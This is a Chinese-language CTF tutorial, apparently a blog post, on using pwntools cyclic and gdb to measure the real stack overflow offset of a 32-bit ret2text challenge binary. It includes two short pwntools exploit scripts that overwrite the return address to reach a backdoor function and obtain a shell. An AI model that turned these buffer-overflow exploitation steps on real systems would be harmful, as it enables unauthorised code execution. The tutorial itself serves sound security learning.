有时ida给出的栈长度是错的。就需要我们自己手动去测量栈长度,主要用到cyclic
使用工具cyclic生成无序字符串

cyclic 数字/数字是要生成的字符串字符数


这里用的是大佬Cyberangel的例子
大佬的例子
checksec检查文件

是32位的,开启了nx保护
拖入ida

找到后门函数

地址是0x804863A
根据s的长度


得出偏移量是0x64+4(因为这是32位文件,所以加4)
编写exp如下

from pwn import*
p=process('./ret2text')
target=0x804863A
p.sendline('a'*(0x64+4)+p32(target))
p.interactive()

运行后发现

说明栈长度ida算错了,接下来就需要我们自己来计算偏移量了
用gdb调试程序
输入start,设置断点在main函数,输入c继续运行,将生成的无序字符粘贴在输入框中,回车
可以看到

观察可知溢出点为0x62616164
报错的意思是跳转到0x62616164这步出错了,意思是没有这个位置,这个位置就是200个有序字符其中最先溢出的部分。只要知道这个地址时输入的第几个字符,就可以知道前面有多少个字符了
cyclic有一个函数可以帮我们cyclic -l
根据溢出的地址可以得知溢出的四个字符为:baad(根据ASCⅡ码表)

cyclic -l daab//那四个字符

细心的人可能就会发现我输入的不是baad而是daab,这是因为机器的小端序存储,而这里溢出显示的也是小端序的,所以应该颠倒以下顺序,但是如果直接输入地址,就没这么麻烦了。

cyclic -l 0x62616164

结果和上面的是一样的,
好啦,这样偏移量就测量出来了
修改一下exp

from pwn import*
p=process('./ret2text')
target=0x804863A
p.sendline('a'*(112)+p32(target))
p.interactive()

运行
成功获取shell

手动测量变量溢出长度相关推荐

  1. C语言中如何测量各种变量的长度

    在比特学习第一天,简单了解了C语言的一些基本的概念,算是初窥门径了,虽然大一上过C语言课,但那时候上课没怎么认真听,也就会写个"Hello World",hhhhhhh,第一节课讲 ...

  2. c语言sizeof测量字符组长度,C语言中,当计算字符数组长度时,用sizeof 和strlen 的原理及两者的区别...

    1:定义时用字符初始化 (1)char chs[7] = {'a', 'c', '0', 'z', '3','d'}; // 长度为6 上式等价于: (2)char chs[7] = {'a', 'c ...

  3. 工业相机测量仪毛管测量直径与长度值

    图像法测量仪采用工业相机远距离拍照和图像处理的测量方式在穿孔机出口测量直径和长度,并根据输入重量和测量尺寸计算钢管壁厚尺寸. 直径相机的布置形式 本方案中,被测毛管外径范围为φ220-450mm,测量 ...

  4. NETDMIS5.0手动测量2023

    几何特征(GeometricalFeature)又称几何元素或几何要素,简称特征(Feature)元素或要素,常规几何特征包括:点.直线.平面.圆.圆柱.圆锥.球. 三坐标测量的主要工作是测量各种几何 ...

  5. CAD如何测量连续线段长度?CAD测量连续线段长度步骤

    在CAD绘图过程中,经常会绘制一些连续的线段,如果想要知道这些连续线段长度的话,该怎么操作吗?CAD如何测量连续线段长度?下面小编就以浩辰CAD软件为例来给大家分享一下CAD测量连续线段长度的具体操作 ...

  6. C++获取目标变量的长度及类型转换

    目录 1. 获取目标变量的长度 1.1 int, double, char 等变量数组长度的获取 1.2 字符串的长度获取 1.3 动态数组的长度获取 1.4 C++ STL容器(array,vect ...

  7. C语言中不同变量类型长度

    C语言数据长度记录 数据类型 16位编译器(字节) 32位编译器(字节) 64位编译器(字节) char 1 1 1 int 2 4 4 short int 2 2 2 float 4 4 4 dou ...

  8. 梆定变量的长度不一致也可能会造成硬解析

    当第一次使用梆定变量为字符串类型,并且小于32bytes时,oracle捕获这个梆定变量,并改写该梆定变量的字符串长度为32Bytes.如果第二次再使用该sql和梆定变量,如果梆定变量长度超过32字节 ...

  9. 基于C++利用OpenCV视觉库进行手掌图像计算机视觉分析测量手指的长度与宽度

    资源下载地址:https://download.csdn.net/download/sheziqiong/85620401 实验简介 通过摄像头获得完整的手掌图像,利用OpenCV视觉库进行计算机视觉 ...

最新文章

  1. 以下python语言关键字在异常处理_【单选题】以下 Python 语言关键字在异常处理结构中用来捕获特定类型异常的选项是: ( )...
  2. 云服务器维护人员,云服务器维护工作难吗
  3. asterisk 扩展应用(3)——IVR 实现
  4. ubuntu wifi
  5. 终于搞定了一个C#的聊天室 使用的SQLServer+VS 用的Socket 整理下搜的书签
  6. 如何看Linux哪些进程占内存,linux 查看进程占用内存
  7. 关于工信部191号文《App违法违规收集使用个人信息行为认定方法》的评估
  8. Activity详解三 启动activity并返回结果 转载 https://www.cnblogs.com/androidWuYou/p/5886991.html...
  9. 【晒出你的第83行代码】社区用户@尼古拉斯雷的代码故事,和现在比起来以前的代码都是垃圾!...
  10. 破解庞加莱猜想数学家曾四五年未发表论文
  11. fatal: unable to access ‘https://github.com/username/xx.git/‘: OpenSSL SSL_read: Connection was
  12. Node.jsv12.0 https请求报错
  13. 翁恺java考试卷_翁恺java期末考试题
  14. 软件测试之语音识别(ASR)测试
  15. 老领导调岗,你想跟他干,怎么说?
  16. SSL双向认证和SSL单向认证的流程和区别
  17. 同样的实验室,硕士们进了BAT拿高工资,为什么博士却要挤破头进985高校?
  18. Android中DNS域名劫持问题-解决方案
  19. ARDUINO传感器专题介绍(2)
  20. 关系型数据库与非关系型数据库的简介、对比和说明!!!

热门文章

  1. python爬取微信好友头像_python 使用wxpy实现获取微信好友列表 头像 群成员
  2. MySQL-notes
  3. Redis集群和应用——02
  4. 大学生必备之GPA计算(满绩为5)
  5. 如何还原恢复格式化后的数据文件?
  6. Go Web快速开发框架 Fiber
  7. 【物联网设计记录】基于机智云云平台的Wi-Fi控制开发板
  8. 职称计算机考试演示,2015职称计算机考试模拟题:演示文稿的放映、打包和打印...
  9. 如果腾讯突然宣布必须充值一块钱才能继续使用微信,会发生什么
  10. 基础正则表达式及常用正则表达式